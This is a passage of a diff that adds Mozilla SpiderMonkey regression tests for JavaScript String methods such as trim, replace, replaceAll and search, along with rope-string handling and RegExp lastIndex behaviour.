+ case 'trimRight':
+ expected = str;
+ break;
+ }
+ actual = str[method]();
+ reportCompare(expected, actual, t + ':' + '"' + toPrinted(str) + '".' + method + '()');
+
+ print('Test ' + method + ' with with trailing whitespace. : ' + t);
+ str = 'a' + v;
+ switch(method)
+ {
+ case 'trim':
+ expected = 'a';
+ break;
+ case 'trimLeft':
+ expected = str;
+ break;
+ case 'trimRight':
+ expected = 'a';
+ break;
+ }
+ actual = str[method]();
+ reportCompare(expected, actual, t + ':' + '"' + toPrinted(str) + '".' + method + '()');
+
+ print('Test ' + method + ' with with leading and trailing whitepace.');
+ str = v + 'a' + v;
+ switch(method)
+ {
+ case 'trim':
+ expected = 'a';
+ break;
+ case 'trimLeft':
+ expected = 'a' + v;
+ break;
+ case 'trimRight':
+ expected = v + 'a';
+ break;
+ }
+ actual = str[method]();
+ reportCompare(expected, actual, t + ':' + '"' + toPrinted(str) + '".' + method + '()');
+
+ }
+}
+
+function toPrinted(value) {
+ return value.replace(/[^\u0020-\u007E]/g, function(c) {
+ if (c === "\n")
+ return "NL";
+
+ var ch = c.charCodeAt(0);
+ var hex = ch.toString(16).toUpperCase();
+ if (ch > 0xff) {
+ return "\\u" + "0000".slice(hex.length) + hex;
+ }
+ return "\\x" + "00".slice(hex.length) + hex;
+ });
+}
diff --git a/js/src/tests/non262/String/regress-313567.js b/js/src/tests/non262/String/regress-313567.js
new file mode 100644
index 0000000000..894a82175a
--- /dev/null
+++ b/js/src/tests/non262/String/regress-313567.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313567;
+var summary = 'String.prototype.length should not be generic';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var s = new String("1");
+s.toString = function() {
+ return "22";
+}
+ var expect = 1;
+var actual = s.length;
+printStatus("expect="+expect+" actual="+actual);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/String/regress-369778.js b/js/src/tests/non262/String/regress-369778.js
new file mode 100644
index 0000000000..ad282eb461
--- /dev/null
+++ b/js/src/tests/non262/String/regress-369778.js
@@ -0,0 +1,29 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+var BUGNUMBER = 369778;
+var summary =
+ "RegExpStatics::makeMatch should make an undefined value when the last " +
+ "match had an undefined capture.";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var expected = undefined;
+var actual;
+
+'x'.replace(/x(.)?/g, function(m, group) { actual = group; })
+
+print("expected: " + expected)
+print("actual: " + actual)
+
+assertEq(expected, actual)
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/non262/String/regress-392378.js b/js/src/tests/non262/String/regress-392378.js
new file mode 100644
index 0000000000..ad12e7b0bf
--- /dev/null
+++ b/js/src/tests/non262/String/regress-392378.js
@@ -0,0 +1,41 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 392378;
+var summary = 'Regular Expression Non-participating Capture Groups are inaccurate in edge cases';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = ["", undefined, ""] + '';
+ actual = "y".split(/(x)?\1y/) + '';
+ reportCompare(expect, actual, summary + ': "y".split(/(x)?\1y/)');
+
+ expect = ["", undefined, ""] + '';
+ actual = "y".split(/(x)?y/) + '';
+ reportCompare(expect, actual, summary + ': "y".split(/(x)?y/)');
+
+ expect = 'undefined';
+ actual = "y".replace(/(x)?\1y/, function($0, $1){ return String($1); }) + '';
+ reportCompare(expect, actual, summary + ': "y".replace(/(x)?\\1y/, function($0, $1){ return String($1); })');
+
+ expect = 'undefined';
+ actual = "y".replace(/(x)?y/, function($0, $1){ return String($1); }) + '';
+ reportCompare(expect, actual, summary + ': "y".replace(/(x)?y/, function($0, $1){ return String($1); })');
+
+ expect = 'undefined';
+ actual = "y".replace(/(x)?y/, function($0, $1){ return $1; }) + '';
+ reportCompare(expect, actual, summary + ': "y".replace(/(x)?y/, function($0, $1){ return $1; })');
+}
diff --git a/js/src/tests/non262/String/regress-83293.js b/js/src/tests/non262/String/regress-83293.js
new file mode 100644
index 0000000000..11807927b7
--- /dev/null
+++ b/js/src/tests/non262/String/regress-83293.js
@@ -0,0 +1,179 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/*
+ * Creation Date: 30 May 2001
+ * Correction Date: 14 Aug 2001
+ *
+ * SUMMARY: Regression test for bugs 83293, 103351
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=83293
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=103351
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=92942
+ *
+ *
+ * ******************** CORRECTION !!! *****************************
+ *
+ * When I originally wrote this test, I thought this was true:
+ * str.replace(strA, strB) == str.replace(new RegExp(strA),strB).
+ * See ECMA-262 Final Draft, 15.5.4.11 String.prototype.replace
+ *
+ * However, in http://bugzilla.mozilla.org/show_bug.cgi?id=83293
+ * Jim Ley points out the ECMA-262 Final Edition changed on this.
+ * String.prototype.replace (searchValue, replaceValue), if provided
+ * a searchValue that is not a RegExp, is NO LONGER to replace it with
+ *
+ * new RegExp(searchValue)
+ * but rather:
+ * String(searchValue)
+ *
+ * This puts the replace() method at variance with search() and match(),
+ * which continue to follow the RegExp conversion of the Final Draft.
+ * It also makes most of this testcase, as originally written, invalid.
+ **********************************************************************
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 103351; // <--- (Outgrowth of original bug 83293)
+var summ_OLD = 'Testing str.replace(strA, strB) == str.replace(new RegExp(strA),strB)';
+var summ_NEW = 'Testing String.prototype.replace(x,y) when x is a string';
+var summary = summ_NEW;
+var status = '';
+var actual = '';
+var expect= '';
+var cnEmptyString = '';
+var str = 'abc';
+var strA = cnEmptyString;
+var strB = 'Z';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+/*
+ * In this test, it's important to reportCompare() each other case
+ * BEFORE the last two cases are attempted. Don't store all results
+ * in an array and reportCompare() them at the end, as we usually do.
+ *
+ * When this bug was filed, str.replace(strA, strB) would return no value
+ * whatsoever if strA == cnEmptyString, and no error, either -
+ */
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+/******************* THESE WERE INCORRECT; SEE ABOVE ************************
+ status = 'Section A of test';
+ strA = 'a';
+ actual = str.replace(strA, strB);
+ expect = str.replace(new RegExp(strA), strB);
+ reportCompare(expect, actual, status);
+
+ status = 'Section B of test';
+ strA = 'x';
+ actual = str.replace(strA, strB);
+ expect = str.replace(new RegExp(strA), strB);
+ reportCompare(expect, actual, status);
+
+ status = 'Section C of test';
+ strA = undefined;
+ actual = str.replace(strA, strB);
+ expect = str.replace(new RegExp(strA), strB);
+ reportCompare(expect, actual, status);
+
+ status = 'Section D of test';
+ strA = null;
+ actual = str.replace(strA, strB);
+ expect = str.replace(new RegExp(strA), strB);
+ reportCompare(expect, actual, status);
+
+
+ * This example is from jim@jibbering.com (see Bugzilla bug 92942)
+ * It is a variation on the example below.
+ *
+ * Namely, we are using the regexp /$/ instead of the regexp //.
+ * The regexp /$/ means we should match the "empty string" at the
+ * end-boundary of the word, instead of the one at the beginning.
+ *
+ status = 'Section E of test';
+ var strJim = 'aa$aa';
+ strA = '$';
+ actual = strJim.replace(strA, strB); // bug -> 'aaZaa'
+ expect = strJim.replace(new RegExp(strA), strB); // expect 'aa$aaZ'
+ reportCompare(expect, actual, status);
+
+
+ *
+ * Note: 'Zabc' is the result we expect for 'abc'.replace('', 'Z').
+ *
+ * The string '' is supposed to be equivalent to new RegExp('') = //.
+ * The regexp // means we should match the "empty string" conceived of
+ * at the beginning boundary of the word, before the first character.
+ *
+ status = 'Section F of test';
+ strA = cnEmptyString;
+ actual = str.replace(strA, strB);
+ expect = 'Zabc';
+ reportCompare(expect, actual, status);
+
+ status = 'Section G of test';
+ strA = cnEmptyString;
+ actual = str.replace(strA, strB);
+ expect = str.replace(new RegExp(strA), strB);
+ reportCompare(expect, actual, status);
+
+ ************************* END OF INCORRECT CASES ****************************/
+
+
+////////////////////////// OK, LET'S START OVER //////////////////////////////
+
+ status = 'Section 1 of test';
+ actual = 'abc'.replace('a', 'Z');
+ expect = 'Zbc';
+ reportCompare(expect, actual, status);
+
+ status = 'Section 2 of test';
+ actual = 'abc'.replace('b', 'Z');
+ expect = 'aZc';
+ reportCompare(expect, actual, status);
+
+ status = 'Section 3 of test';
+ actual = 'abc'.replace(undefined, 'Z');
+ expect = 'abc'; // String(undefined) == 'undefined'; no replacement possible
+ reportCompare(expect, actual, status);
+
+ status = 'Section 4 of test';
+ actual = 'abc'.replace(null, 'Z');
+ expect = 'abc'; // String(null) == 'null'; no replacement possible
+ reportCompare(expect, actual, status);
+
+ status = 'Section 5 of test';
+ actual = 'abc'.replace(true, 'Z');
+ expect = 'abc'; // String(true) == 'true'; no replacement possible
+ reportCompare(expect, actual, status);
+
+ status = 'Section 6 of test';
+ actual = 'abc'.replace(false, 'Z');
+ expect = 'abc'; // String(false) == 'false'; no replacement possible
+ reportCompare(expect, actual, status);
+
+ status = 'Section 7 of test';
+ actual = 'aa$aa'.replace('$', 'Z');
+ expect = 'aaZaa'; // NOT 'aa$aaZ' as in ECMA Final Draft; see above
+ reportCompare(expect, actual, status);
+
+ status = 'Section 8 of test';
+ actual = 'abc'.replace('.*', 'Z');
+ expect = 'abc'; // not 'Z' as in EMCA Final Draft
+ reportCompare(expect, actual, status);
+
+ status = 'Section 9 of test';
+ actual = 'abc'.replace('', 'Z');
+ expect = 'Zabc'; // Still expect 'Zabc' for this
+ reportCompare(expect, actual, status);
+}
diff --git a/js/src/tests/non262/String/replace-GetMethod.js b/js/src/tests/non262/String/replace-GetMethod.js
new file mode 100644
index 0000000000..c596f946ff
--- /dev/null
+++ b/js/src/tests/non262/String/replace-GetMethod.js
@@ -0,0 +1,24 @@
+var BUGNUMBER = 1290655;
+var summary = "String.prototype.replace should call GetMethod.";
+
+print(BUGNUMBER + ": " + summary);
+
+function create(value) {
+ return {
+ [Symbol.replace]: value,
+ toString() {
+ return "-";
+ }
+ };
+}
+
+for (let v of [null, undefined]) {
+ assertEq("a-a".replace(create(v), "+"), "a+a");
+}
+
+for (let v of [1, true, Symbol.iterator, "", {}, []]) {
+ assertThrowsInstanceOf(() => "a-a".replace(create(v)), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/replace-bad-dollar-single-quote.js b/js/src/tests/non262/String/replace-bad-dollar-single-quote.js
new file mode 100644
index 0000000000..a39f1b6b6f
--- /dev/null
+++ b/js/src/tests/non262/String/replace-bad-dollar-single-quote.js
@@ -0,0 +1,61 @@
+let evil = new RegExp();
+
+// https://tc39.es/ecma262/#sec-getsubstitution
+
+// Input: position = 0
+// Step 2: matchLength = 7
+// Step 4: stringLength = 3
+// Step 8: tailPos = position + matchLength = 7
+//
+// tailPos ≥ stringLength, so $' is replaced with the empty string.
+
+evil.exec = () => ({ 0: "1234567", length: 1, index: 0 });
+assertEq("abc".replace(evil, "$'"), "");
+
+
+// Input: position = 3
+// Step 2: matchLength = 1
+// Step 4: stringLength = 3
+// Step 8: tailPos = position + matchLength = 4
+//
+// tailPos ≥ stringLength, so $' is replaced with the empty string.
+
+evil.exec = () => ({ 0: "x", length: 1, index: 3 });
+assertEq("abc".replace(evil, "$'"), "abc");
+
+
+// Input: position = 2
+// Step 2: matchLength = 1
+// Step 4: stringLength = 3
+// Step 8: tailPos = position + matchLength = 3
+//
+// tailPos ≥ stringLength, so $' is replaced with the empty string.
+
+evil.exec = () => ({ 0: "x", length: 1, index: 2 });
+assertEq("abc".replace(evil, "$'"), "ab");
+
+
+// Input: position = 2
+// Step 2: matchLength = 1
+// Step 4: stringLength = 4
+// Step 8: tailPos = position + matchLength = 3
+//
+// tailPos < stringLength, so $' is replaced with |"abcd".sustring(tailPos)| = "d".
+
+evil.exec = () => ({ 0: "x", length: 1, index: 2 });
+assertEq("abcd".replace(evil, "$'"), "abdd");
+
+
+// Input: position = 2
+// Step 2: matchLength = 1
+// Step 4: stringLength = 5
+// Step 8: tailPos = position + matchLength = 3
+//
+// tailPos < stringLength, so $' is replaced with |"abcd".sustring(tailPos)| = "de".
+
+evil.exec = () => ({ 0: "x", length: 1, index: 2 });
+assertEq("abcde".replace(evil, "$'"), "abdede");
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/String/replace-flags.js b/js/src/tests/non262/String/replace-flags.js
new file mode 100644
index 0000000000..34b9475a33
--- /dev/null
+++ b/js/src/tests/non262/String/replace-flags.js
@@ -0,0 +1,25 @@
+var BUGNUMBER = 1108382;
+var summary = 'Remove non-standard flag argument from String.prototype.{search,match,replace}.';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var result = "bbbAa".match("a", "i");
+assertEq(result.index, 4);
+assertEq(result.length, 1);
+assertEq(result[0], "a");
+
+result = "bbbA".match("a", "i");
+assertEq(result, null);
+
+result = "bbbAa".search("a", "i");
+assertEq(result, 4);
+
+result = "bbbA".search("a", "i");
+assertEq(result, -1);
+
+result = "bbbAaa".replace("a", "b", "g");
+assertEq(result, "bbbAba");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/replace-math.js b/js/src/tests/non262/String/replace-math.js
new file mode 100644
index 0000000000..bfe3ec0282
--- /dev/null
+++ b/js/src/tests/non262/String/replace-math.js
@@ -0,0 +1,38 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 805121;
+var summary = "Be more careful with string math to avoid wrong results";
+
+print(BUGNUMBER + ": " + summary);
+
+/******************************************************************************/
+
+function puff(x, n)
+{
+ while(x.length < n)
+ x += x;
+ return x.substring(0, n);
+}
+
+var x = puff("1", 1 << 20);
+var rep = puff("$1", 1 << 16);
+
+try
+{
+ var y = x.replace(/(.+)/g, rep);
+ assertEq(y.length, Math.pow(2, 36));
+}
+catch (e)
+{
+ // OOM also acceptable
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/String/replace-rope-empty.js b/js/src/tests/non262/String/replace-rope-empty.js
new file mode 100644
index 0000000000..86c5b5236a
--- /dev/null
+++ b/js/src/tests/non262/String/replace-rope-empty.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+var BUGNUMBER = 1509768;
+var summary = "String#replace with an empty string pattern on a rope should prepend the replacement string.";
+
+print(BUGNUMBER + ": " + summary);
+
+// Rope is created when the string length >= 25.
+//
+// This testcase depends on that condition to reliably test the code for
+// String#replace on a rope.
+//
+// Please rewrite this testcase when the following assertion fails.
+assertEq(isRope("a".repeat(24)), false);
+assertEq(isRope("a".repeat(25)), true);
+
+// Not a rope.
+assertEq("a".repeat(24).replace("", "foo"),
+ "foo" + "a".repeat(24));
+assertEq("a".repeat(24).replace("", ""),
+ "a".repeat(24));
+
+// A rope.
+assertEq("a".repeat(25).replace("", "foo"),
+ "foo" + "a".repeat(25));
+assertEq("a".repeat(25).replace("", ""),
+ "a".repeat(25));
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/replace-throws-nonwritable-lastIndex-global.js b/js/src/tests/non262/String/replace-throws-nonwritable-lastIndex-global.js
new file mode 100644
index 0000000000..8e1c967f12
--- /dev/null
+++ b/js/src/tests/non262/String/replace-throws-nonwritable-lastIndex-global.js
@@ -0,0 +1,126 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 501739;
+var summary =
+ "String.prototype.replace should throw when called with a global RegExp " +
+ "whose .lastIndex is non-writable";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var s = '0x2x4x6x8';
+
+// First time with .lastIndex === 0, replacing to ''
+
+var p1 = /x/g;
+Object.defineProperty(p1, "lastIndex", { writable: false });
+
+try
+{
+ s.replace(p1, '');
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+ assertEq(p1.lastIndex, 0);
+}
+
+// Second time with .lastIndex !== 0, replacing to ''
+
+var p2 = /x/g;
+Object.defineProperty(p2, "lastIndex", { writable: false, value: 3 });
+
+try
+{
+ s.replace(p2, '');
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+ assertEq(p2.lastIndex, 3);
+}
+
+// Third time with .lastIndex === 0, replacing to 'y'
+
+var p3 = /x/g;
+Object.defineProperty(p3, "lastIndex", { writable: false });
+
+try
+{
+ s.replace(p3, 'y');
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+ assertEq(p3.lastIndex, 0);
+}
+
+// Fourth time with .lastIndex !== 0, replacing to 'y'
+
+var p4 = /x/g;
+Object.defineProperty(p4, "lastIndex", { writable: false, value: 3 });
+
+try
+{
+ s.replace(p4, '');
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+ assertEq(p4.lastIndex, 3);
+}
+
+// Fifth time with .lastIndex === 0, replacing to 'y', but no match
+
+var p5 = /q/g;
+Object.defineProperty(p5, "lastIndex", { writable: false });
+
+try
+{
+ s.replace(p5, 'y');
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+ assertEq(p5.lastIndex, 0);
+}
+
+// Sixth time with .lastIndex !== 0, replacing to 'y', but no match
+
+var p6 = /q/g;
+Object.defineProperty(p6, "lastIndex", { writable: false, value: 3 });
+
+try
+{
+ s.replace(p6, '');
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+ assertEq(p6.lastIndex, 3);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/String/replace-updates-global-lastIndex.js b/js/src/tests/non262/String/replace-updates-global-lastIndex.js
new file mode 100644
index 0000000000..c859d7093b
--- /dev/null
+++ b/js/src/tests/non262/String/replace-updates-global-lastIndex.js
@@ -0,0 +1,38 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 501739;
+var summary =
+ "String.prototype.relace should zero the .lastIndex when called with a " +
+ "global RegExp";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var s = '0x2x4x6x8';
+
+var p1 = /x/g;
+p1.lastIndex = 3;
+s.replace(p1, '');
+assertEq(p1.lastIndex, 0);
+
+var p2 = /x/g;
+p2.lastIndex = 3;
+var c = 0;
+s.replace(p2, function(s) {
+ assertEq(p2.lastIndex++, c++);
+ return 'y';
+});
+assertEq(p2.lastIndex, 4);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/String/replace.js b/js/src/tests/non262/String/replace.js
new file mode 100644
index 0000000000..83aab8f2a5
--- /dev/null
+++ b/js/src/tests/non262/String/replace.js
@@ -0,0 +1,19 @@
+var BUGNUMBER = 887016;
+var summary = "Call RegExp.prototype[@@replace] from String.prototype.replace.";
+
+print(BUGNUMBER + ": " + summary);
+
+var called = 0;
+var myRegExp = {
+ [Symbol.replace](S, R) {
+ assertEq(S, "abcAbcABC");
+ assertEq(R, "foo");
+ called++;
+ return 42;
+ }
+};
+assertEq("abcAbcABC".replace(myRegExp, "foo"), 42);
+assertEq(called, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/replaceAll.js b/js/src/tests/non262/String/replaceAll.js
new file mode 100644
index 0000000000..2ff9418578
--- /dev/null
+++ b/js/src/tests/non262/String/replaceAll.js
@@ -0,0 +1,215 @@
+function neverCalled() {
+ assertEq(true, false, "unexpected call");
+}
+
+const g = newGlobal();
+
+assertEq(typeof String.prototype.replaceAll, "function");
+assertEq(String.prototype.replaceAll.length, 2);
+assertEq(String.prototype.replaceAll.name, "replaceAll");
+
+// Throws if called with undefined or null.
+assertThrowsInstanceOf(() => String.prototype.replaceAll.call(undefined), TypeError);
+assertThrowsInstanceOf(() => String.prototype.replaceAll.call(null), TypeError);
+
+// Throws if called with a non-global RegExp.
+assertThrowsInstanceOf(() => "".replaceAll(/a/, ""), TypeError);
+assertThrowsInstanceOf(() => "".replaceAll(g.RegExp(""), ""), TypeError);
+
+// Also throws with RegExp-like objects.
+assertThrowsInstanceOf(() => {
+ "".replaceAll({[Symbol.match]: neverCalled, flags: ""}, "");
+}, TypeError);
+
+// |flags| property mustn't be undefined or null.
+assertThrowsInstanceOf(() => {
+ "".replaceAll({[Symbol.match]: neverCalled, flags: undefined}, "");
+}, TypeError);
+assertThrowsInstanceOf(() => {
+ "".replaceAll({[Symbol.match]: neverCalled, flags: null}, "");
+}, TypeError);
+
+// Global RegExp (or RegExp-like) simply redirect to @@replace.
+assertEq("aba".replace(/a/g, "c"), "cbc");
+assertEq("aba".replace(g.RegExp("a", "g"), "c"), "cbc");
+assertEq("aba".replace({
+ [Symbol.match]: true,
+ [Symbol.replace]: () => "ok",
+ flags: "flags has 'g' character",
+}, ""), "ok");
+
+// Applies ToString on the replace-function return value.
+assertEq("aa".replaceAll("a", () => ({toString(){ return 1; }})), "11");
+assertEq("aa".replaceAll("a", () => ({valueOf(){ return 1; }})), "[object Object][object Object]");
+
+const replacer = {
+ "$$": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ return "$";
+ },
+ "$$-$$": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ return "$-$";
+ },
+ "$&": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ return string.substring(position, position + searchString.length);
+ },
+ "$&-$&": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ var s = string.substring(position, position + searchString.length);
+ return `${s}-${s}`;
+ },
+ "$`": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ return string.substring(0, position);
+ },
+ "$`-$`": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ var s = string.substring(0, position);
+ return `${s}-${s}`;
+ },
+ "$'": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ return string.substring(position + searchString.length);
+ },
+ "$'-$'": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ var s = string.substring(position + searchString.length);
+ return `${s}-${s}`;
+ },
+ "A": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ return "A";
+ },
+ "A-B": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ return "A-B";
+ },
+ "": function(searchString, position, string) {
+ "use strict";
+ assertEq(this, undefined);
+
+ return "";
+ },
+};
+
+// Tests when |pattern| is longer than |string|.
+{
+ const tests = [
+ { string: "", pattern: "a" },
+ { string: "a", pattern: "ab" },
+ { string: "", pattern: "α" },
+ { string: "α", pattern: "αβ" },
+ ];
+
+ for (let [replacementString, replacementFunction] of Object.entries(replacer)) {
+ for (let {string, pattern} of tests) {
+ let a = string.replaceAll(pattern, replacementString);
+ let b = string.replaceAll(pattern, replacementFunction);
+ let expected = string.replace(RegExp(pattern, "g"), replacementString);
+ assertEq(a, expected);
+ assertEq(b, expected);
+ assertEq(expected, string);
+ }
+ }
+}
+
+// Tests when |pattern| doesn't match once.
+ {
+ const tests = [
+ { string: "a", pattern: "A" },
+ { string: "ab", pattern: "A" },
+ { string: "ab", pattern: "AB" },
+
+ { string: "α", pattern: "Γ" },
+ { string: "αβ", pattern: "Γ" },
+ { string: "αβ", pattern: "ΓΔ" },
+ ];
+
+ for (let [replacementString, replacementFunction] of Object.entries(replacer)) {
+ for (let {string, pattern} of tests) {
+ let a = string.replaceAll(pattern, replacementString);
+ let b = string.replaceAll(pattern, replacementFunction);
+ let expected = string.replace(RegExp(pattern, "g"), replacementString);
+ assertEq(a, expected);
+ assertEq(b, expected);
+ assertEq(expected, string);
+ }
+ }
+}
+
+// Tests when |pattern| is the empty string.
+{
+ const strings = ["", "a", "ab", "α", "αβ"];
+ const pattern = "";
+ const re = /(?:)/g;
+
+ for (let [replacementString, replacementFunction] of Object.entries(replacer)) {
+ for (let string of strings) {
+ let a = string.replaceAll(pattern, replacementString);
+ let b = string.replaceAll(pattern, replacementFunction);
+ let expected = string.replace(re, replacementString);
+ assertEq(a, expected);
+ assertEq(b, expected);
+ }
+ }
+}
+
+// Tests when |pattern| isn't the empty string.
+{
+ const tests = [
+ {
+ strings: [
+ "a", "b",
+ "aa", "ab", "ba", "bb",
+ "aaa", "aab", "aba", "abb", "baa", "bab", "bba", "bbb",
+ ],
+ pattern: "a",
+ },
+ {
+ strings: [
+ "α", "β",
+ "αα", "αβ", "βα", "ββ",
+ "ααα", "ααβ", "αβα", "αββ", "βαα", "βαβ", "ββα", "βββ",
+ ],
+ pattern: "α",
+ },
+ ];
+
+ for (let {strings, pattern} of tests) {
+ let re = RegExp(pattern, "g");
+ for (let [replacementString, replacementFunction] of Object.entries(replacer)) {
+ for (let string of strings) {
+ let a = string.replaceAll(pattern, replacementString);
+ let b = string.replaceAll(pattern, replacementFunction);
+ let expected = string.replace(re, replacementString);
+ assertEq(a, expected);
+ assertEq(b, expected);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/ropes.js b/js/src/tests/non262/String/ropes.js
new file mode 100644
index 0000000000..b8e99dacb9
--- /dev/null
+++ b/js/src/tests/non262/String/ropes.js
@@ -0,0 +1,58 @@
+print("Stress test of ropes");
+
+if (typeof newRope === "undefined") {
+ var newRope = SpecialPowers.Cu.getJSTestingFunctions().newRope;
+}
+if (typeof ensureLinearString === "undefined") {
+ var ensureLinearString = SpecialPowers.Cu.getJSTestingFunctions().ensureLinearString;
+}
+
+function createRopes() {
+ const ropes = {};
+
+ let j = 88;
+ function advance() {
+ // This is totally made up and probably stupid.
+ j = ((((j * 7) >> 2) + j) + (j << 3)) | 0;
+ return j;
+ }
+
+ function randomBalancedRope(height) {
+ if (height == 0)
+ return "s" + j;
+
+ const left = randomBalancedRope(height - 1);
+ advance();
+ const right = randomBalancedRope(height - 1);
+ advance();
+ return newRope(left, right, {nursery:(j & 1)});
+ }
+
+ // Construct a fairly big random rope first. If we did it later, then the
+ // chances of it all ending up tenured are higher.
+ ropes.balanced = randomBalancedRope(10);
+
+ ropes.simple = newRope("a", "b");
+ ropes.simple_tenured = newRope("a", "b", {nursery:false});
+ ropes.tenured_nursery = newRope("a", newRope("b", "c", {nursery:true}), {nursery:false});
+ ropes.nursery_tenured = newRope("a", newRope("b", "c", {nursery:false}), {nursery:true});
+
+ return ropes;
+}
+
+const ropes = createRopes();
+
+// Flatten them all.
+for (const [name, rope] of Object.entries(ropes))
+ ensureLinearString(rope);
+
+// GC with them all live.
+let ropes2 = createRopes();
+gc();
+
+// GC with them all dead.
+ropes2 = null;
+gc();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/search-GetMethod.js b/js/src/tests/non262/String/search-GetMethod.js
new file mode 100644
index 0000000000..4d54cf3fb7
--- /dev/null
+++ b/js/src/tests/non262/String/search-GetMethod.js
@@ -0,0 +1,24 @@
+var BUGNUMBER = 1290655;
+var summary = "String.prototype.search should call GetMethod.";
+
+print(BUGNUMBER + ": " + summary);
+
+function create(value) {
+ return {
+ [Symbol.search]: value,
+ toString() {
+ return "-";
+ }
+ };
+}
+
+for (let v of [null, undefined]) {
+ assertEq("a-a".search(create(v)), 1);
+}
+
+for (let v of [1, true, Symbol.iterator, "", {}, []]) {
+ assertThrowsInstanceOf(() => "a-a".search(create(v)), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/search.js b/js/src/tests/non262/String/search.js
new file mode 100644
index 0000000000..86d0aacc60
--- /dev/null
+++ b/js/src/tests/non262/String/search.js
@@ -0,0 +1,27 @@
+var BUGNUMBER = 887016;
+var summary = "Call RegExp.prototype[@@search] from String.prototype.search.";
+
+print(BUGNUMBER + ": " + summary);
+
+var called = 0;
